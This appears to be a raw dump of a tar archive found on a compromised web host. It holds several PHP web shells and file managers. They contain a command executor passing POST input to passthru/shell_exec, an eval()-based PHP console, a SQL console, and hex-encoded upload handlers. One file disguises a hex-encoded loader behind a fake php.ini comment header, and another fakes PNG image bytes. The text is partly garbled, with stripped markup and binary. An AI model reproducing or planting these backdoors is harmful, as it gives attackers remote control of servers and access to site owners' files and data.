芝麻web文件管理V1.00

编辑当前文件:/home/greakqsw/theblogginglab.org/7648l2-20260310230235/xoaym7.tar


"; echo " "; echo "Cancel"; echo "
"; exit; } } break; case 'delete': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; // Check if this is a confirmation request $confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes'; if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){ if(is_dir($file_path)){ $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($it as $f){ $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath()); } rmdir($file_path); $message = "Folder '{$file}' deleted successfully!"; } else { if(unlink($file_path)){ $message = "File '{$file}' deleted successfully!"; } else { $message = "Error deleting file '{$file}'!"; } } header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message)); exit; } else { // Show confirmation page if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){ echo "Confirm Delete"; echo "

Confirm Delete

"; echo "

Are you sure you want to delete '".htmlspecialchars($file)."'?

"; echo "

Type: " . (is_dir($file_path) ? "Folder" : "File") . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "
"; echo "YES, DELETE | "; echo "Cancel"; echo ""; exit; } } break; case 'upload': if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){ $uploaded = $_FILES['file']; if($uploaded['error'] === UPLOAD_ERR_OK){ $name = basename($uploaded['name']); $dest = $current_dir . DIRECTORY_SEPARATOR . $name; if(safe_realpath_within(dirname($dest), $root_anchor)){ if(move_uploaded_file($uploaded['tmp_name'], $dest)){ @chmod($dest, 0644); $message = "File '{$name}' uploaded successfully!"; } else { $message = "Error uploading file '{$name}'!"; } } else { $message = "Invalid upload path!"; } } else { $message = "Upload error: " . $uploaded['error']; } } // Stay on same page with message break; case 'download': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file_path).'"'); header('Content-Length: '.filesize($file_path)); readfile($file_path); exit; } break; case 'create_folder': if($_SERVER['REQUEST_METHOD'] === 'POST'){ $folder = sanitize_path($_POST['folder_name'] ?? ''); if($folder){ $fp = $current_dir . DIRECTORY_SEPARATOR . $folder; if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){ if(mkdir($fp, 0755, true)){ $message = "Folder '{$folder}' created successfully!"; } else { $message = "Error creating folder '{$folder}'!"; } } else { $message = "Folder already exists or invalid path!"; } } else { $message = "Please enter a folder name!"; } } // Stay on same page with message break; } // Get message from URL if redirected if(isset($_GET['message'])){ $message = $_GET['message']; } ?> File Manager

File Manager -

← Back 🏠 Project 📁 Root     Current: / () /

No files or folders found in this directory.

Name Type Size Modified Actions
📁 📄 Open Edit Download Delete
Security Info: You can only access files within:
8vgr5.php000064400000056045151550114040006236 0ustar00 '; echo ''; echo ''; echo ''; echo ''; } foreach ($fileList as $entry) { $path = $d . DIRECTORY_SEPARATOR . $entry; echo ''; echo ''; echo ''; echo ''; echo ''; } ?>
Name Size Actions
' . htmlspecialchars($entry) . '-
' . htmlspecialchars($entry) . '' . (is_file($path) ? filesize($path) . ' bytes' : '-') . ''; echo 'Edit | '; echo 'Rename | '; echo 'Delete'; echo '
$l) { if ($l == '' && $m == 0) { $breadcrumbHtml .= '/'; } if ($l == '') continue; $breadcrumbHtml .= ''.$l.'/'; } echo $breadcrumbHtml; exit; } function safe_stream_copy($in, $out): bool { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } if (fwrite($out, $buff) === false) { return false; } } } while (!feof($in)); return true; } else { return stream_copy_to_stream($in, $out) !== false; } } if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) { $fileName = $_POST['benkyo']; $encodedContent = $_POST['dakeja']; $decodedContent = hex2bin($encodedContent); if ($decodedContent === false) { if ($isAjax) { header('Content-Type: application/json'); echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']); } else { setFlash('failed', 'Invalid Base64 encoding'); header("Location: ?d=" . hex($d)); } exit; } $tempStream = fopen('php://temp', 'r+'); fwrite($tempStream, $decodedContent); rewind($tempStream); $targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName); $outStream = fopen($targetPath, 'wb'); $success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream); if ($outStream) fclose($outStream); if ($tempStream) fclose($tempStream); if ($success) { if ($isAjax) { header('Content-Type: application/json'); echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']); } else { setFlash('success', 'File uploaded successfully'); header("Location: ?d=" . hex($d)); } } else { if ($isAjax) { header('Content-Type: application/json'); echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']); } else { setFlash('failed', 'File upload failed'); header("Location: ?d=" . hex($d)); exit; } } exit; } if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) { if ($_GET['action'] === 'delete') { $fileName = $_GET['file']; $filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName); if (!$filePath || !is_file($filePath)) { $response = ['status'=>'failed','msg'=>'File not found or access denied']; } else { $result = unlink($filePath); $response = $result ? ['status'=>'success','msg'=>'File deleted successfully'] : ['status'=>'failed','msg'=>'File deletion failed']; } header('Content-Type: application/json'); echo json_encode($response); exit; } elseif ($_GET['action'] === 'rename') { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) { $oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']); $newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name']; if ($oldFile && is_file($oldFile)) { $result = rename($oldFile, $newFile); $response = $result ? ['status'=>'success','msg'=>'File renamed successfully'] : ['status'=>'failed','msg'=>'File renaming failed']; header('Content-Type: application/json'); echo json_encode($response); exit; } else { header('Content-Type: application/json'); echo json_encode(['status'=>'failed','msg'=>'File not found']); exit; } } elseif ($isAjax) { echo '

Rename File: ' . htmlspecialchars($_GET['file']) . '

'; echo '
'; echo '
'; echo '
'; echo '
'; echo ''; echo '
'; echo '

'; exit; } } elseif ($_GET['action'] === 'edit') { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']); if ($filePath && is_file($filePath)) { $fp = fopen($filePath, "w"); if ($fp) { $bytesWritten = fwrite($fp, stripslashes($_POST['content'])); fclose($fp); $response = ($bytesWritten !== false) ? ['status' => 'success', 'msg' => 'File edited successfully'] : ['status' => 'failed', 'msg' => 'File editing failed']; } else { $response = ['status' => 'failed', 'msg' => 'File opening failed']; } header('Content-Type: application/json'); echo json_encode($response); exit; } else { header('Content-Type: application/json'); echo json_encode(['status' => 'failed', 'msg' => 'File not found']); exit; } } elseif ($isAjax) { $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']); if ($filePath && is_file($filePath)) { $content = file_get_contents($filePath); echo '

Edit File: ' . htmlspecialchars($_GET['file']) . '

'; echo '
'; echo '
'; echo '
'; echo '
'; echo ''; echo '
'; echo '

'; } exit; } } } ?> Sind3
   SERV :
   SOFT :
   IP   :

——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————




'; echo ''; echo ''; echo ''; echo ''; } foreach ($fileList as $entry) { $path = $d . DIRECTORY_SEPARATOR . $entry; echo ''; echo ''; echo ''; echo ''; echo ''; } ?>
Name Size Actions
' . htmlspecialchars($entry) . '-
' . htmlspecialchars($entry) . '' . (is_file($path) ? filesize($path) . ' bytes' : '-') . ''; echo 'Edit | '; echo 'Rename | '; echo 'Delete'; echo '
index.php000064400000000166151550114050006364 0ustar00lc20b.php000064400000235003151550114050006157 0ustar00‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '
ACTIONS; // === File List === $items = []; if ($dh = @opendir('.')) { while (($f = readdir($dh)) !== false) { if ($f === '.' || $f === '..') continue; $items[] = $f; } closedir($dh); natcasesort($items); // Natural sort (a1, a10, a2 → a1, a2, a10) } echo ''; echo ''; echo ''; foreach ($items as $item) { $path = $current_dir . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($item); $size = $isDir ? '-' : number_format(filesize($item)); $perm = substr(sprintf('%o', fileperms($item)), -4); $color = is_writable($item) ? 'perm-writable' : (is_readable($item) ? 'perm-readable' : 'perm-locked'); // Owner/Group $owner = $group = '???'; if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $o = @posix_getpwuid(@fileowner($item)); $g = @posix_getgrgid(@filegroup($item)); $owner = $o ? $o['name'] : '???'; $group = $g ? $g['name'] : '???'; } $enc_item = urlencode($item); $enc_path = urlencode($path); $edit_link = $isDir ? "?d={$enc_path}" : "?x=edit&f={$enc_item}"; $name_display = htmlspecialchars($item) . ($isDir ? '/' : ''); echo ''; echo ""; echo ""; echo ""; echo ""; echo ""; } echo '
NameSizePermissionsOwner/GroupActions
{$name_display}{$size}{$perm}{$owner}:{$group}"; // Actions if (!$isDir) { echo "Edit"; } // Rename Popup echo " Rename"; echo "
"; echo "
"; echo ""; echo ""; echo ""; echo " "; echo " "; echo "
"; // Chmod Popup echo " Chmod"; echo "
"; echo "
"; echo ""; echo ""; echo ""; echo " "; echo " "; echo "
"; // Delete $del_action = $isDir ? 'delete_dir' : 'delete_file'; echo " Del"; echo "
'; // === Handle Special Views === if ($_GET['x'] === 'edit') { $file = urldecode($_GET['f']); if ($_POST['save'] === '1') { file_put_contents($file, $_POST['content']); echo '
✅ Saved!
'; } $content = file_exists($file) ? htmlspecialchars(file_get_contents($file)) : ''; echo '

✏️ Editing: ' . htmlspecialchars($file) . '

'; echo '
'; echo ''; echo '
'; echo ''; echo ' ← Back'; echo '
'; } elseif ($_GET['x'] === 'info') { // Info panel (same as before) $moreI = [ 'PHP Version' => phpversion(), 'Server Software' => $_SERVER['SERVER_SOFTWARE'], 'Uname' => php_uname(), 'User' => get_current_user() . ' (uid:' . getmyuid() . ' gid:' . getmygid() . ')', 'Safe Mode' => ini_get('safe_mode') ? 'ON' : 'OFF', 'Open BaseDir' => ini_get('open_basedir') ?: 'OFF', 'MySQL' => function_exists('mysqli_connect') ? 'ON' : 'OFF', 'Curl' => extension_loaded('curl') ? 'ON' : 'OFF', 'Disk Total' => @disk_total_space('/') ? round(@disk_total_space('/') / (1024**3), 2) . ' GB' : 'N/A', 'Disk Free' => @disk_free_space('/') ? round(@disk_free_space('/') / (1024**3), 2) . ' GB' : 'N/A', 'Your IP' => $_SERVER['REMOTE_ADDR'], 'Server IP' => $_SERVER['SERVER_ADDR'] ?? 'N/A' ]; echo '

ℹ️ System Info

'; foreach ($moreI as $k => $v) { echo ""; } echo '
{$k}: {$v}

← Back'; } elseif ($_GET['x'] === 'cmd') { if ($_POST['cmd']) { echo '
';
        if (function_exists('passthru')) {
            @passthru($_POST['cmd']);
        } elseif (function_exists('shell_exec')) {
            echo @shell_exec($_POST['cmd']);
        } else {
            echo "Command execution not available.";
        }
        echo '
'; } echo '

💻 Command Executor

'; echo '
'; echo '
'; echo '
← Back'; } print ''; ?>index-20260307210620.php000064400000000166151550114050007740 0ustar00nf0qj.php000064400000133423151550114050006276 0ustar00 * Package : php * Path : /etc/php/8.1/apache2/php.ini * * Description: * This is a sample PHP configuration file used in Ubuntu. * Do not edit this file directly unless you know what you're doing. * For custom configurations, use the /etc/php/8.1/apache2/conf.d/ directory. * * License: * Distributed under the same terms as PHP itself. * See: https://www.php.net/license/3_01.txt */ class plugin_binalar_eski{ public function plugin_binalar_eskii(){ $list = "73657373696F6E5F737461727428293B6865616465722822582D5853532D50726F74656374696F6E3A203022293B6F625F737461727428293B7365745F74696D655F6C696D69742830293B6572726F725F7265706F7274696E672830293B696E695F7365742827646973706C61795F6572726F7273272C2046414C5345293B0A246973416A6178203D20697373657428245F5345525645525B27485454505F585F5245515545535445445F57495448275D29200A202020202020202020262620737472746F6C6F77657228245F5345525645525B27485454505F585F5245515545535445445F57495448275D29203D3D3D2027786D6C6874747072657175657374273B0A0A66756E6374696F6E2068657828246E29207B0A2020202024793D27273B0A20202020666F72202824693D303B202469203C207374726C656E28246E293B2024692B2B297B0A20202020202020202479202E3D20646563686578286F726428246E5B24695D29293B0A202020207D0A2020202072657475726E2024793B0A7D0A66756E6374696F6E207568657828247929207B0A20202020246E3D27273B0A20202020666F72202824693D303B202469203C207374726C656E282479292D313B2024692B3D32297B0A2020202020202020246E202E3D20636872286865786465632824795B24695D2E24795B24692B315D29293B0A202020207D0A2020202072657475726E20246E3B0A7D0A69662028697373657428245F4745545B2264225D2929207B0A202020202464203D207568657828245F4745545B2264225D293B0A202020206966202869735F6469722824642929207B0A20202020202020206368646972282464293B0A202020207D20656C7365207B0A20202020202020202464203D2067657463776428293B0A202020207D0A7D20656C7365207B0A202020202464203D2067657463776428293B0A7D0A66756E6374696F6E20736574466C61736828247374617475732C20246D736729207B0A20202020245F53455353494F4E5B27737461747573275D203D20247374617475733B0A20202020245F53455353494F4E5B276D7367275D203D20246D73673B0A7D0A69662028697373657428245F4745545B27616A6178275D2920262620245F4745545B27616A6178275D203D3D203129207B0A202020203F3E0A202020203C7461626C653E0A20202020202020203C74686561643E0A2020202020202020202020203C74723E0A202020202020202020202020202020203C74683E4E616D653C2F74683E0A202020202020202020202020202020203C74683E53697A653C2F74683E0A202020202020202020202020202020203C74683E416374696F6E733C2F74683E0A2020202020202020202020203C2F74723E0A20202020202020203C2F74686561643E0A20202020202020203C74626F64793E0A20202020202020203C3F7068700A202020202020202024656E7472696573203D207363616E646972282464293B0A2020202020202020246469724C697374203D205B5D3B0A20202020202020202466696C654C697374203D205B5D3B0A2020202020202020666F7265616368202824656E74726965732061732024656E74727929207B0A2020202020202020202020206966202824656E747279203D3D20272E27207C7C2024656E747279203D3D20272E2E272920636F6E74696E75653B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206966202869735F6469722824706174682929207B0A20202020202020202020202020202020246469724C6973745B5D203D2024656E7472793B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020202466696C654C6973745B5D203D2024656E7472793B0A2020202020202020202020207D0A20202020202020207D0A2020202020202020666F72656163682028246469724C6973742061732024656E74727929207B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206563686F20273C74723E273B0A2020202020202020202020206563686F20273C74643E3C6120636C6173733D22616A61784469722220687265663D223F643D27202E2068657828247061746829202E2027223E27202E2068746D6C7370656369616C